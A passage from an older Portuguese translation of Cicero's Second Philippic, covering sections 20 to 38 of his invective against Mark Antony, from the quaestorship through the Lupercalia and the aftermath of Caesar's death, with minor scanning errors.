20. Vieste da Gália a requerer o cargo de ques-tor. Resolve-te a dizer que primeiro buscaste a teu pai, do que viesses ter comigo; a este tempo tinha eu recebido cartas de César, em que me pedia aceitasse a tua satisfação, motivo porque nem sequer consenti me falasse sobre a mercê. Depois me cortejavas, e eu atendi o teu requerimento da questoria. Nesse tempo, intentaste com aprovação do povo romano matar no foro a P. Clódio; e tendo-o intentado por teu moto próprio, contudo publicavas que se o matares me não davas suficiente satisfação pelas ofensas que me tinha feito; motivo pelo qual me admiras dizeres que Milão fizera o que fez por impulso meu; quando eu não te exortei a ti, que expontaneamente me atribuías este projecto; contudo, ainda que perseverasses nessa resolução, mais estimaria que ela se atribuísse à lua glória, do que a havê-la feito pelo meu crédito. Foste feito questor, e logo imediatamente, sem resolução do Senado, nem se lançarem sortes, nem seres autorizado por alguma lei, correste a buscar a César, julgando não terem no mundo outro refúgio a tua penúria e as tuas dívidas, insultos e estragados costumes. Aqui, depois de te teres enchido com seus donativos e teus roubos (se se deve chamar encher, havendo logo de o estragar) voas pobre a pretender o tribunato, para neste magistrado (podendo) te pareceres contigo mesmo.

21. Ouvi agora, vos peço, Conscritos, não as dissoluções e desonestidades com que infamou a sua pessoa e casa, mas os ímpios e atroces projectos contra nós, contra nossos bens e, enfim, contra toda a República; e achareis que estes crimes foram a fonte donde manaram todos os nossos males. Quando vós no primeiro de Janeiro, sendo cônsules L. Lentulo e C. Marcelo, quiseste ter mão na República, que bamba-leava e quasi caía, e atender à conservação de César, a estar ainda em seu juízo, se opôs António a vossos intentos, como tribuno que estava corrompido e assalariado, submetendo o pescoço àquele cutelo, que a muitos tirou a vida por menores crimes. Contra ti, M. António, decretou o Senado, quando ainda estava inteiro, antes de serem mortos tantos seus luminares, o que pelo costume de nossos maiores se costuma decretar contra um inimigo togado; e tens cara de falar contra mim diante dos senadores romanos, tendo-me estes dado o nome de conservador da República e a ti de inimigo? Algum tempo se tem passado sem falar neste teu delito, mas nunca se extinguirá lembrança dele; enquanto houver homens e existir o nome romano (que será eterno, se não o embaraçaras), se falará naquele teu pernicioso embargo. Que sem razão o imprudência obrava o Senado, quando tu, um rapaz, embaraçaste, não uma, mas muitas vezes, o que toda a Ordem Senatoria estabelecida pelo bem da República, sem sofreres se disputasse contigo sobre a. autoridade do Senado? que outra coisa se procurava, senão que não destruísses e extinguisses de todo a República? quando nem os rogos das pessoas principais da corte, nem as admoestações dos velhos, nem as resoluções de um numeroso Senado te puderam fazer desistir do juízo que vendeste e entregaste antes de o proferir? Então, depois de se ententarem muitas coisas, foi preciso dar-te aquele golpe, que poucos levaram antes de ti, e de que nenhum se salvou. Então foi quando esta Ordem deu armas contra ti aos cônsules e mais governos e magistrados, de que não escaparias se não reparando na proteção de César.

22. Tu, tu, digo, António, foste o que deste a César causa de fazer a guerra à pátria, desejando ele-desordenar tudo. Que outra coisa dizia ele? ou que causa alegava do seu louquíssimo projecto e empresa, senão que foram desprezados os teus embargos, abolido o direito do tribuno, e António removido pelo Senado? Não direi quão falsas e mal fundadas sã» estas coisas, principalmente não havendo causa alguma justa de tomar armas contra a pátria. Mas deixemos a César; não podes deixar de confessar que tu foste a causa desta perniciosíssima guerra. Que desgraçado és se entendes, e mais desgraçado se não entendes: que este caso se há de escrever e conservar em memória, e dele se não esquecerão jamais todos os séculos futuros; que os cônsules foram expelidos da Itália, e com eles Cn. Pompeu, glória e esplendor do povo romano; todos os consulares que tinham saúde para tomar aquela fugida e derrota, todos os pretores e pretorianos, os tribunos do povo, grande parte do Senado, toda a flor da mocidade, em uma palavra, toda a República foi expulsa e exterminada de sua habitação. Assim como nas sementes está o princípio das arvores e plantas, assim tu fostes a semente desta lutuosíssima guerra. Sentis o destroço de três exércitos romanos? António os derrotou. Faltam-vos os cidadãos mais esclarecidos? António vo-los tirou. Vedes abatida a autoridade desta Ordem? António a abateu. Enfim tudo o que vimos depois (e que males não vimos?) se bem o considerardes, o atribuireis unicamente a António: assim como Helena foi para os troianos, assim este foi a causa da guerra, e da destruição e ruína desta República.

23. As demais partes do seu tribunato foram semelhantes ao princípio. Tudo aquilo que o Senado, estando ainda em pé, tinha procurado se não fizesse, o pôs ele em obra. Reconhecei a qualidade deste seu crime por ele mesmo. Restituiu à pátria a muitos infelizes, não fazendo menção entre eles de seu tio paterno; se nisto quis mostrar severidade, por que a não praticou com todos? se clemência, por que não a usou com os seus? mas deixarei o mais em silêncio. Restabeleceu a L. Licínio Denticula, condenado por causa do jogo, com quem ele jogava, como se não fosse ilícito jogar com um homem condenado; isto fez para se desempenhar do que perdera no jogo por benefício da lei. Que razões alegaste ao povo romano para provares que convinha restabelecê-lo? creio que foi porque, estando ausente, o meteram na lista dos condenados; porque se julgou a sua causa sem ser ele ouvido; porque não havia juízo concernente a esta lei de jogos de sorte; porque fora oprimido com forças e armas; enfim, porque, como se dizia de teu tio, foram os juízes corrompido com dinheiro; nada disto foi. Mas era homem de bem, dizes, e digno da República; isto não faz nada ao caso; eu porém, já que não se deve fazer caso de estar ele condenado, lhe perdoaria, se fosse verdade o que dizes. Mas quem restabelece de todo a um homem perversíssimo, que não duvidava jogar jogo de sorte no meio do foro, e condenado pela lei concernente a este jogo, não mostra clarissimamente a sua demasiada paixão? Durante o mesmo tribunado, quando César partindo para a Espanha, lhe entregou a Itália para a assolar, que marchas foram as suas? como discorreu pelos municípios? Bem sei que estou metido em coisas que são notórias e andam pela boca de todos; e que falo e falarei do que melhor sabem todos os que estiveram em Itália, do que eu, que então estava ausente dela; especificarei contudo circunstâncias particulares, ainda que nesta oração não possa dizer tanto, como vós sabeis; porque, onde se ouviram nunca no mundo tantos delitos, torpezas e desaforos?

24. Era um tribuno do povo levado em uma caleça, precedida de lictores laureados, entre os quais se via levada em uma liteira descoberta uma comediante; eram obrigadas as pessoas principais dos lugares e cidades municipais a vi-la saudar não com aquele seu celebrado nome no teatro, mas com o de Volúmnia; seguiam-se em uma carroça seus aduladores e depravados companheiros; a desprezada mãe, como se fosse nora, ia após a amiga do desonesto filho. Que calamitosa fecundidade a desta infeliz mulher! Por todos os municípios, prefeituras, colónias, e por toda a Itália deixou rasto da sua dissolução. Há dificuldade e perigo, Padres Conscritos, só em mencionar o mais que obrou. Andou na guerra; fartou-se do sangue de cidadãos que tão pouco se pareciam com ele; foi nela feliz, se com delitos pode estar alguma felicidade. Aqui quero eu ter atenção com os veteranos, ainda que a condição dos soldados é diversa da tua, pois eles seguiram a um general e tu buscaste-o; mas para que não me malquiste com eles, nada direi da qualidade desta guerra. Voltaste com as legiões vencedoras de Tessália para Brindes; aqui foi onde me não mataste; grande mercê, pois confesso que o podias fazer, ainda não houvesse entre os que te assistiam quem não julgasse me devias perdoar. Tanto pode o amor da pátria que as tuas mesmas legiões, lembradas de que eu as tinha conservado, me respeitaram como a coisa sagrada; mas suponhamos que me deste o que me não tiraste, e que recebi de ti a vida, porque me não privaste dela; porventura permitiram-me depois os ultrajes que me fizeste, atender a esta mercê como dantes? principalmente prevendo te exporias a ouvir o que acabo de dizer?

25. Vieste para Brindes; por certo que para o regaço e os abraços da tua comediantinha. Pois que não falo a verdade? que desgraça maior do que não poder negar o que é afrontosíssimo confessar-se? Se não tiveste pejo dos municípios, ao menos porque te não envergonhaste de um exército veterano? que soldado houve que a não visse em Brindes? quem deixou de saber que te acompanhara tantos dias de jornada por te cortejar? quem não teve pesar de conhecer tão tarde quão perverso era o homem a quem tinha servido? Segunda vez tornou a discorrer pela Itália, acompanhada da mesma comediante; foram cruéis e infelizes as marchas dos soldados de uma terra para a outra; em Roma foi enorme o roubo de ouro e prata, e particularmente de vinho. Acresceu a isto o constituir-se general de cavalaria com o favor dos amigos, sem César o saber, que então estava em Alexandria; assentou então que tinha direito para passar a vida com Hípia, e dar gratuitamente a Sérgio os cavalos de aluguel; então escolheu para habitação a casa de M. Pisão, em lugar dessa em que hoje se conserva, iniquamente. Que direi das suas ordenações? das suas rapinas? das posses de heranças que deu e tirou? a necessidade o constrangia, não tinha para onde se virar; ainda lhe não tinham vindo as avultadas heranças de L. Rúbrio e L. Tursélio; ainda se não tinha feito improvisamente herdeiro de Pompeu, e de outros muitos que estavam ausentes; convinha-lhe então viver ao modo dos ladrões, não tendo mais que o que podia furtar. Mas deixemos já de falar destas maldades mais enormes, tratemos antes de sua péssima leviandade. Com essa goela, com esse ventre, com esse grosseiro corpo de gladiador, tanto vinho bebeste nas bodas de Hípia, que foi preciso vomitar no dia seguinte na presença do povo romano. Que indigna fealdade não de se ver, mas ouvir. Se isto te sucedesse ao cear entre aqueles teus desmarcados corpos, quem não o teria por coisa feia? mas neste lugar, em um congresso do povo romano, tratando negócios públicos, um general de cavalaria, a quem seria indecente o arrotar, este vomitou, de sorte que se encheu a si próprio, e a todo o Tribunal, de pedaços do que comera, tresalando a vinho. Mas esta confessa ele mesmo ser uma das suas máculas; venhamos a coisas mais ilustres.

26. Retirou-se César de Alexandria com felicidade, no seu entender; que no mundo não pode ser feliz quem é infeliz para a República. Feito leilão junto ao templo de Júpiter Stator (infeliz de mim, que exausto de lágrimas tenho contudo a dor cravada no coração), foram, digo, os bens de Pompeu Magno sujeitados à voz de um pregoeiro; esta foi a vez única em que Roma, esquecida da sua escravidão, rompeu em gemidos; com estar tudo possuído de temor, e os ânimos cativos, contudo, tinha o povo romano a liberdade de gemer. Estando todos atentos a quem seria tão ímpio e demente, tão inimigo de Deus e dos homens, que se atrevesse a chegar àquela iníqua publicação, ninguém houve, senão unicamente António; posto que à roda daquele sítio houvesse tantos com atrevimento para tudo, só um se achou que se atrevesse a uma ação, de que fugiam todos os atrevidos e temerários. Tão grande estupidez se apoderou de ti ou, para falar mais verdade, tanto furor que, sendo um acusador nascido nesta terra, e acusador de Pompeu, não percebes te fazes odioso e detestável ao povo romano, e desafias contra ti a ira de todos os deuses e homens? e com que insolência se não empossou logo este comilão dos bens daquele homem, cujo valor fazia o povo romano tão venerado, e sua justiça tão amado das nações estranhas.

27. Depois que assim arrebatadamente se encheu dos bens de Pompeu, não cabia em si de prazer, fazendo na verdade papel de comediante, agora pobre e logo rico; porém, como diz não sei que poeta, "o mal adquirido é mal consumado". E’ coisa incrível como tantas riquezas se desbarataram, não digo em tão poucos meses, mas dias; uma imensa quantidade de ouro, crescido número de peças de prata excelente, muita vestiária preciosa, e móveis ricos e magníficos em muitos lugares, tudo coisas próprias de um homem não licencioso, mas abastado. Em poucos dias não havia nada disto. Que Caríbdis foi tão voraz? mas que digo, Caríbdis? o Oceano por certo me parece que não poderia engolir com tanta pressa tantos cabedais, tão dispersos e colocados em tão diferentes lugares. Nada havia debaixo da chave, nem selado, nem por escrito; armazéns inteiros eram entregues a homens perversíssimos; umas coisas tomavam os comediantes; via-se a casa cheia de jogadores e beberrões; passavam os dias inteiros a beber, e isto em vários quartos. Sucedia-lhe muitas vezes perder no jogo (porque nem sempre era afortunado); verieia os leitos dos servos cobertos com cortinas das matizes de Pompeu. Não vos admire pois que tudo isto se consumisse em tão breve tempo, porque semelhante maldade poderia devorar não só o patrimônio de um homem, ainda que tão abastado como este, mas cidades e reinos inteiros. 0 mesmo sucedeu às casas e quintais. Que enorme atrevimento! Tiveste o arrojo de entrar naquela casa, e mostrar essa caratonha àqueles deuses penates. Naquela casa para onde algum dia ninguém se resolvia a levantar os olhos, ninguém passar por ela sem chorar, não te envergonhas de morar tanto tempo? naquela casa, onde não podes achar coisa que te agrade, com seres um néscio.

28. Cuidas porventura que entras em tua casa, quando dás com os olhos naqueles portais, e naqueles esporões e despojos? isso não pode ser, porque ainda com seres tão ignorante e mentecapto como és, contudo bem te conheces a ti, às tuas coisas e aos teus. Também me parece que nem dormindo nem acordado podes ter sossego; porque, ainda que sejas, como és, um beberrão e estouvado, quando te se puser na imaginação a idéia daquele raro varão, necessariamente despertarás atemorizado, se estiveres dormindo, e se acordado te perturbarás muitas vezes. Por certo me metem compaixão aquelas paredes e casas; que tinha visto nunca aquela casa, senão modes-

to, virtuoso, e bem regrado? Foi aquele homem, como bem sabeis, Padres Conscritos, tão digno de admiração fora de sua casa, como dentro dela; nem menos digno de louvores nos ditames domésticos, que nas acções públicas. Hoje estamos vendo os gabinetes daquelas casas convertidos em estábulos, e os leitos em tabernas. Porém já nega este fato; deixai, deixai indagações, está feito homem de bem; mandou àquela sua comediante que tomasse o qüe lhe pertencia, seguindo a lei das Doze Tábuas; tirou-lhe as chaves, e a pôs fora de casa. Pode haver cidadão mais respeitável e estimável que aquele, que em toda a sua vida não obrou ação mais honrosa que fazer divórcio com uma comediante? Mas para que nomeia ela a cada passo o cônsul Marco António? que vale o mesmo que dizer cônsul licenciosíssimo, cônsul depravadíssimo; pois que outra coisa é António? Se a dignidade se incluísse no nome, creio que algum dia diria teu avô o cônsul António; mas nunca o fez assim; também o diria assim o meu colega teu tio; salvo se tu só és António. Omitirei porém aquelas culpas, que não foram meios particulares de que te valesse para vexar a República; torno ao que te é pessoal, isto é, à guerra civil, que por tua diligência nasceu, se dispôs e acometeu.

29. Por que causa te vieste daquela campanha? foi cobardia ou desenvoltura? bebeste, ou, para melhor dizer, te faltaste de sangue de cidadãos, tiraste a vida a L. Domício, um varão tão eminente e ilustre; perseguiste e mataste cruelíssimamente a muitos que escaparam da batalha, a quem César perdoaria, como fez a alguns. Depois de tantas ações desta qualidade, que causa tiveste para não seguir a César, principalmente restando ainda grande parte da guerra? E que posto alcançaste do mesmo César, depois que ele voltou da África? que graduação obti-veste? Sendo general aquele de quem foste questor, e general de cavalaria de um ditador, seu promotor na guerra, conselheiro de suas crueldades, sócio dos seus roubos, e, como dizias, seu filho em seu testamento, foste contudo citado em juízo para dares conta do dinheiro que devias pelas casas, quintas e confiscações. Ao princípio respondeste com enfado, na verdade; e para que não pareça que em tudo estou contra ti, quase que falavas com razão e justiça. Pede-me César (dizias) a mim conta do dinheiro? por que lhe não pedirei eu antes a ele? porventura venceu ele sem mim? é certo que tal não podia; eu lhe dei pretextos para a guerra civil, eu propus leis perniciosas, eu tomei armas contra os cônsules e generais romanos, contra o Senado e povo romano, contra os deuses pátrios, contra os altares e fogos, e contra a pátria. Venceu ele porventura para si só? sendo a acção comum, por que o não será também a presa? Requerias com justiça, mas de que te serviu isso? ele podia mais. Desprezou ele enfim as tuas representações, enviando soldados, a ti e a teus fiadores. Quando de repente apresentaste aquele inventário, quanto se não riu a gente de ti, vendo que de um tão rico espólio, que constava de tamanhas e tão numerosas herdades, de todas elas não havia mais que uma parte do campo de Miseno que o inventariante pudesse chamar seu? E que compaixão não metia pôr os olhos naquele leilão? uns poucos vestidos de Pompeu, e esses com nódoas; alguns vasos seus de prata quebrados, e alguns escravos esfarrapados; de sorte que sentíamos que houvesse ainda alguma coisa daquela herança que pudéssemos ver. Embargaram contudo os herdeiros de L. Rúbrio esta venda por um decreto de César. Ficou estacado o peralva, sem ter para onde se voltar; porque neste mesmo tempo se dizia que, em casa de César, fora apanhado com uma faca um assassino mandado por António; do que César se queixou publicamente no Senado.

30. Partiu César para a Espanha, conceden-do-te alguns poucos dias para pagares, em atenção da tua pobreza; nem sequer então o seguiste; tão bom gladiador és que tão depressa recebeste a vara? e há quem teme a quem temeu o seu partido, isto é a perda dos seus bens? Partiu enfim para a Espanha, mas, como ele próprio diz, não pode lá chegar com segurança. Como chegou pois Dolabela? ou não devias tomar esse partido, António, ou, depois de o abraçares, sustentá-lo até o fim. Três batalhas deu César aos cidadãos: na Tessália, na África e na Espanha; em todas elas foi presente Dolabela, e na Espanha foi também ferido. Se me perguntares o que entendo nisto, digo que não quereria que ali se achasse; mas, ainda que a sua resolução ao princípio fosse digna de censura, a sua constância nela foi digna de louvor. Porém tu que casta de homem és? Os filhos de Pompeu requeriam primeiramente que os restituíssem à pátria; está feito; este interesse é comum a ambos os partidos; requeriam também, em segundo lugar, os seus deuses pátrios, os seus altares e fogos, e o seu lar doméstico, que tu tinhas invadido. Posto que requeriam com armas o que lhes competia pelas leis (ainda que, que justiça se pode achar entre os maiores sem-razões?), contudo, era coisa mui justa que contra os filhos de Cn. Pompeu pelejasse o confiscador de Cn. Pompeu. Porventura não eras tu para quem pelejava Dolabela na Espanha, quando em Narbona vomitavas nas mesas de teus hóspedes? e que tornada foi a tua de Narbona? ainda assim perguntou porque voltara eu tão brevemente da minha jornada. Pouco há, Padres Conscritos, que vos expus a causa da minha volta. Quis, antes de primeiro de Janeiro, se pudesse, acudir à República. Mas, quanto ao que me perguntara, de que modo voltara? digo, primeiramente, que voltei de dia, e não às escuras; em segundo lugar que com sapatos e toga, e não com calçado e capa gauleses. Vejo que olhas para mim, segundo me parece, agastado; nem tu te congraçarás jamais comigo, se souberes quanto pejo me causam as maldades de que tu mesmo te não envergonhas. Entre todas as desventuras que por homens se podem cometer, nenhuma vi nem ouvi mais torpe que esta; reputando-te tu por general de cavalaria, e pedindo o consulado, ou antes solicitando-o para o ano próximo, foste o mesmo que andaste de calçado e capa gauleses pelos municípios e colónias de Gália, donde nós costumávamos pedir o consulado, quando este se pedia e não se solicitava.

31. Vede a sua leveza. Chegando às quatro horas da tarde às Pedras Vermelhas, se escondeu em certa taverninha, onde bebeu largamente até anoitecer; partindo daqui em, uma sege, chegou à casa com muita pressa. — Quem é? — lhe perguntou o porteiro. — Sou um correio de António —- respondeu ele. E’ logo introduzido à presença daquela, por cujo motivo viera, e lhe entrega uma carta; entrou ela a lê-la com as lágrimas nos olhos (porque era amatoria e dizia em substância que já não queria nada com aquela comediante, e que todo o seu afecto apartara dela e o tinha empregado em outra). Desfazendo-se a mulher em pranto, não se pode mais suster o compassivo homem, descobre a cabeça e entra a abraçá-la.

Que perverso homem, e que outra coisa direi? pois nada se pode dizer com mais propriedade. Para apareceres de repente enfeitado, e te mostrares a uma mulher, para isto é que puzeste a cidade em confusão de noite, e perturbaste a Itália muitos dias com temor? Se em tua casa tiveste objectos de amor, fora dela os tiveste ainda mais infames, para que L. Plan-co não vendesse os teus fiadores. Sendo trazido ao congresso do povo pelo tribuno, para dares conta da tua chegada, e respondendo que vieras por causa de teus negócios, que coisa não disse o povo de ti? Mas basta já de bagatelas, falemos de coisas de maior monta.

32. Quando César voltou da Espanha, o foste esperar mui longe; foste e vieste, para que conhecesse que eras homem, senão de muito valor, contudo de grande pontualidade. Tornaste não sei como a fa-zer-te seu amigo; esta era uma das prendas de César: quando via algum homem acabrunhado de dívidas, e reduzido à miséria, se era homem mau e insolente, com toda a boa vontade o recebia no número de seus amigos. Honrado com tão ilustres acções, ordenou que te declarassem cônsul juntamente com ele; não me queixo por Dolabela que então foi induzido, enganado e iludido. Quem há que ignore quanta foi a perfídia de ambos vós para com Dolabela? César induziu-o a que pedisse este cargo, e, depois de prometido, embaraçou que o recebesse e o transferiu a si; a cuja perfídia assentiste com toda a boa vontade. Chega o primeiro de Janeiro, somos convocados ao Senado; envia-se Dolabela contra este, com uma oração mais copiosa e ornada que esta minha. Bons deuses, que não disse ele nesta ocasião aceso em cólera! Tinha César já declarado que, antes de partir, mandaria que Dolabela fosse feito cônsul; deste modo obrava e falava sempre aquele de quem dizem que não era rei. Mas tendo-se César explicado assim, disse este bom agoureiro que, por estar ele revestido deste sacerdócio, tinha poder de dispor dos agouros, para impedir ou interromper os comícios, asseverando que assim o havia de fazer. Reparai na incrível estolidez deste homem. E se não fosse agoureiro mas somente cônsul, havias ter menos poder de obrar isso que dizias poder executar, pelo direito do teu sacerdócio? olha se o farias ainda mais facilmente, porque a nós só nos compete anunciar os presságios, e aos cônsules e mais magistrados também o observá-los; mas passemos-te por esta ignorância, pois se não deve esperar discrição de um homem que nunca anda em seu juizo. Vede porém o seu desaforo. Muitos meses antes tinha dito no Senado que ou embargaria os comícios com os agouros, ou faria o que fez. Quem é que pode prever os defeitos que haverão nos agouros, se não se determinar a observá-los pelos sinais do céu? o que as leis não permitem, durante os comícios; e se alguém os observou, não havendo comícios, os deve anunciar tais quais eles são. Mas esta implicatoria ignorância é insolência, porque nem é saber o que compete a um agoureiro, nem obrar como homem de vergonha. Trazei à memória o seu consulado, desde aquele dia até os Idos de Março; houve nunca sujeito tão vil e desprezível? nenhum poder tinha, tudo pedia: metendo a cabeça pela leiteira de seu colega, lhe requeria as mercês que depois vendia.

33. Chega-se o dia dos comícios para a eleição da Dolabela; tira-se por sorte a tribo que devia votar primeiro; descansa ele, faz-se a relação, não diz palavra. E’ nomeada a primeira classe, nomeia-se Dolabela, e, tomados os votos conforme o costume chama-se então a segunda classe; tudo isto se faz em menos tempo do que eu o disse. Concluído o negócio, disse este sábio agoureiro (parecer-vos-ia outro Lélio): "Em outro dia." Há tal desaforo? que viste? que pressentiste ou ouviste? nem então disseste teres observado algum prodígio do céu, nem hoje o dizes; o obstáculo que houve foi o que tu previste haveria no primeiro de Janeiro, que tanto antes tinha prognosticado. Mas tenho por certo que os presságios que fingiste, mais hão-de-ser de ruína para ti que para a República; prendeste o povo romano com escrúpulos, e, sendo agoureiro e cônsul, anunciaste maus presságios a teu colega, também agoureiro e cônsul.

Não quero dizer mais, por não parecer que anulo as Actas de Dolabela, as quais forçosamente serão algum dia devolvidas ao nosso Colégio. Mas adverti, Padres Conscritos, a arrogância e insolência do homem; quando quiseres, será defeituosa a eleição de Dolabela, e quando quiseres, será eleito por agouros legitimamente observados. Se não há coisa alguma, quando um agoureiro faz a sua relação nos mesmos termos em que fazes a tua, confessa que quando disseste "Em outro dia" não estavas em teu juízo; e se estas palavras têm alguma virtude, te peço ma dês a conhecer; o que te rogo como agoureiro a outro seu colega. Mas para que não suceda que, entre tantas acções de M. António, escape a esta oração a mais gloriosa delas, venhamos às festas Lupercais.

34. Não dissimula, bem se vê, Padres Conscritos, que se altera, sua e se faz pálido; faça o que quiser, contanto que não entre em náusea e lhe suceda o mesmo que no porto de Minúcio. Que desculpa pode ter tamanha torpeza? desejara ouví-la, para ver em que se funda tão grande paga, como a que deu ao retórico no campo Leontino. Estando teu colega sentado na Rostra, vestido de uma toga encarnada, em uma cadeira de ouro (ainda que luperco, também te devia lembrar que eras cônsul), mostraste um diadema; houve gemidos em toda a praça. Donde te veio esse diadema? não o tomaste de algum lugar, onde se tivesse achado por acaso, mas o trouxeste de casa, para ser o crime feito de propósito e caso pensado. Tu lhe punhas o diadema com pranto do povo, ele o rejeitava com aplauso do mesmo povo. Mofino, ninguém, se não tu, houve que, sendo autor do despotismo real, quisesse ter por senhor aquele que era teu colega, e experimentar quanto poderia suportar a paciência do povo romano. Também lhe pediste misericórdia, e te lançaste humildemente aos seus pés; que lhe pedias? seres um escravo? pedira-lo muito embora para ti só, que desde a infância viveste acostumado a sofrer tudo o que te poderia facilitar o servir; mas de nós, nem do povo romano, não tinhas essa comissão. Que nobre eloquência foi aquela tua, quando declamaste nú! há maior torpeza! maior infâmia! nem acção mais digna de todo o suplício! Porventura esperas que eu te estimule ainda mais? se tivesses um pouco de juízo, esta oração bastaria para te jarretar e fazer correr o sangue. Temo diminuir a glória daqueles grandes homens, mas a dor me obriga a falar. Que coisa mais indigna que viver aquele que pôs um diadema, quando todos confessam que justamente fora morto quem o rejeitou. Durante as festas Lupercais, mandou se inserisse nos fastos esta inscrição: "M. António, cônsul, ofereceu por ordem do povo, a dignidade real a César, e este a não quis aceitar." Já me não admiro dos teus motins, nem de teres ódio a esta cidade, e à mesma luz, nem de viveres de dia e de noite com os mais desaforados ladrões; onde podes tu ter descanso? que refúgio te podem conceder as leis e ordenações se, quanto foi da tua parte, as aboliste com a autoridade real? Porventura foi expelido L. Tarquinio, e mortos Sp. Cássio, Mélio, e M. Mânlio, para depois de muitos séculos estabelecer M. António um rei em Roma contra o direito?

35. Mas tornemos aos agouros. Pergunto: que obraste nos negócios que César devia tratar nos Idos de Março? pois ouvi dizer que vinhas aparelhado, por imaginares que eu devia falar dos fingidos agouros, a que não obstante era preciso obedecer. Atalhou a fortuna do povo romano as resoluções daquele dia; e porventura extinguiu a morte de César o teu juízo sobre os prognósticos? Mas venho a dar em tempo e matérias que, se nelas me meter, nunca acabarei de falar. Que fugida foi aquela tua? que medo tiveste naquele celebre dia? que desesperação de ficares com vida, acusado de teus próprios delitos, quando escondidamente te recolheste em casa, com o favor daqueles que te quiseram socorrer, no caso de não estares pervertido? Que verdadeiros foram sempre os meus prognósticos de que havia de suceder? Dizia eu no Capitólio àqueles nossos libertadores, quando queriam que eu te buscasse e exortasse a defender a República, que, enquanto estivesses com medo, havias de prometer tudo, e, deixando de temer, te parecerias contigo mesmo. Esta a causa por que, quando os mais consulares andavam para cá e para lá, persisti eu no meu parecer; não te vi naquele dia, nem no seguinte, nem me pareceu se podia fazer algum firme concerto com um atrocíssimo inimigo. Três dias depois fui ao Templo da Terra, bem contra minha vontade, estando todas as estradas rodeadas dfl gente armada.

36. Que grande dia foi este para ti, M. António; ainda que de repente te inimizaste comigo, ainda assim me compadeço de ti, porque te invejaste a ti mesmo. Deuses imortais! Que homem serias se te conservasse na tenção daquele dia; teríamos a paz que se fez, dando-se por penhor dela um menino, nobre filho de M. António e sobrinho de M. Banba-leão; mas fazia-te bom o temor, que não costuma ensinar bem por muito tempo; e mau te tornou a insolência que sempre te acompanha toda a vez que cessa o temor. Ainda então, quando eras reputado por boníssimo cidadão, não concordando eu nisso, presidiste ao funeral daquele péssimo tirano, se aquilo se pode chamai funeral; elegante foi o teu elogio, a tua lamentarão e a tua exortação. Tu, tu, foste, digo, o que acendeste as chamas, com que ele foi meio queimado, e as que abrasaram a casa de L. Belieno. Tu, a cama de invadirem nossas casas aqueles homens perdidos, pela maior parte escravos, que nós rechaçamos à força de braço. Contudo, como se dissipasses o fumo destes incêndios, estabeleceste no Senado nobres ordenações, quais foram< que depois dos Idos de Março se não fixassem publicamente escrituras algumas de imunidades ou de outras mercês concedidas. Também te lembraste dos desterrados; não ignoras o que disseste das isenções. O melhor de tudo foi arrancar da República o nome de ditador, em cuja acção mostraste ter concebido tanto aborrecimento à autoridade real, que tiraste todo o temor que havia dela, por causa do próximo ditador. Parecia a outros estar restabelecida a República, mas não a mim, que sempre temi todo o naufrágio, durante o teu governo. E porventura enganou-me? ou pôde ele mais tempo não se parecer consigo? À vista de vossos olhos se enchia o Capitólio de editais; vendiam-se isenções não só a pessoas particulares, mas a povos inteiros; o foro de cidadão já não se concedia a este ou àquele particular, mas a todas as províncias; e não somente as vossas rendas, mas a autoridade do povo romano ficará diminuida com semelhantes contratos particulares.

37. Onde estão setecentos contos de sestércios, de que fazem menção os registos existentes no Templo da Terra? Funestos dinheiros eram estes de verdade; mas se não se entregassem a quem não competiam, nos poderiam agora livrar de tributos. E como deixaste tu de dever, antes das Calendas de Abril, quarenta contos de sestércios que devieis antes dos Idos de Março? Para que falar eu em inumeráveis bilhetes e escritos; não têm conto as coisas que comprovam várias pessoas, sabendo-o tu; no decreto, porém, acerca de Dejotaro, amicíssimo do povo romano, que se fixou no Capitólio, ninguém houve que pudesse conter o riso, sem embargo da mágoa de que estavam possuídos. Quem mais inimigo de Dejotaro que César? este o aborrecia tanto como ao Senado, como à Ordem Equestre, como aos de Marselha, e como a todos os que sabiam amarem a República do povo romano. Este pois, que sendo César vivo, nem ausente nem presente pôde dele conseguir coisa favorável, entrou na sua graça depois de morto. Repreendeu-o César, sendo seu hospede, multou-o, executou-o, estabeleceu um de seus sócios na tetrarquia do rei, tirou-lhe a Arménia, que o Senado lhe deu. Tudo isto lhe tirou César sendo vivo e lhe restituiu depois de morto. E de que expressões usaria António? Ora dizia que lhe parecia justo, ora que não era iníquo. Notável implicância de termo. Mas César (sempre em ausência defendi a Dejotaro) nunca disse que lhe parecia justo requerimento algum dos que nós lhe fazíamos em favor do rei. O escrito de dez contos de sestércios foi feito no quarto da mulheres pelos deputados, sujeitos de probidade, mas tímidos, e de pouca capacidade, sem o parecer do rei, nem o de Sexto, nem o de outros seus amigos. No dito lugar se venderam e vendem ainda muitas coisas; aconselho-te que cuides no pagamento deste escrito, porque o rei assim que soube da morte de César, de seu moto próprio, sem haver escritos alguns de César, se remeteu na posse de seus bens, sem o favor de ninguém. Bem sabia aquele homem cordato haver sempre direito de recuperar, depois da morte dos tiranos, aquilo que eles haviam usurpado em vida. Não há jurisconsulto, nem aquele que só o é para ti, e por cujo voto fazes tudo isso, que diga se deve alguma coisa, em virtude desta escritura, dos bens havidos depois dela feita; pois ele os não comprou a ti, mas antes que tu lhe vendesses o que era seu, se meteu ele de posse dele. Obrou como homem, e nós como uns ninguéns, pois defendemos os decretos cujo autor aborrecemos.

38. E que direi de infinitas memórias e inumeráveis escrituras, que muitos contrafazem e põe em pública venda, como editais de gladiadores? Os montes de dinheiro, que se juntam em sua casa, são já tantos que o dinheiro não se conta, pesa-se. Mas quão cega é a avareza! Pouco há se fixou edital, pelo qual se isentam de tributo as opulentíssimas cidades de Creta, e se determina que, depois do pro-consulado de M. Bruto, Creta não seja província. Estás em teu juízo ou és doido? Há de Creta poder

isentar-se por um decreto de César, depois de retirar-se M. Bruto, quando Bruto não teve nada em Creta, enquanto César foi vivo? Mas com este decreto (para que não entendais que nada se fez) perdeste a província de Creta. Enfim, ninguém compra coisa alguma, que não o tenha por vendedor. E a lei que fixaste acerca dos desterrados, foi invento de César? Não é vontade minha perseguir a algum dos infelizes; o que só lamento primeiramente é infamar-se a tornada daqueles cuja causa julgou César dissemelhante; em segundo lugar não sei por que não concedeu o mesmo aos outros, pois só restam três ou quatro que estão na mesma infelicidade; por que motivo não gozam de semelhante compaixão tua? Por ,que faz com eles como com teu tio, de quem não ordenaste nada, ordenando-o dos mais? Tu o induziste à pretensão de censor e o meteste em um requerimento que motivou o riso e queixas de todos. Por que deixaste de fazer aqueles comícios? foi porque o tribuno do povo anunciava que o raio caíra à parte esquerda? Quando se trata da tua conveniência não há prognósticos, só és escrupuloso quando se toca nas dos teus parentes. E não desamparaste tu o 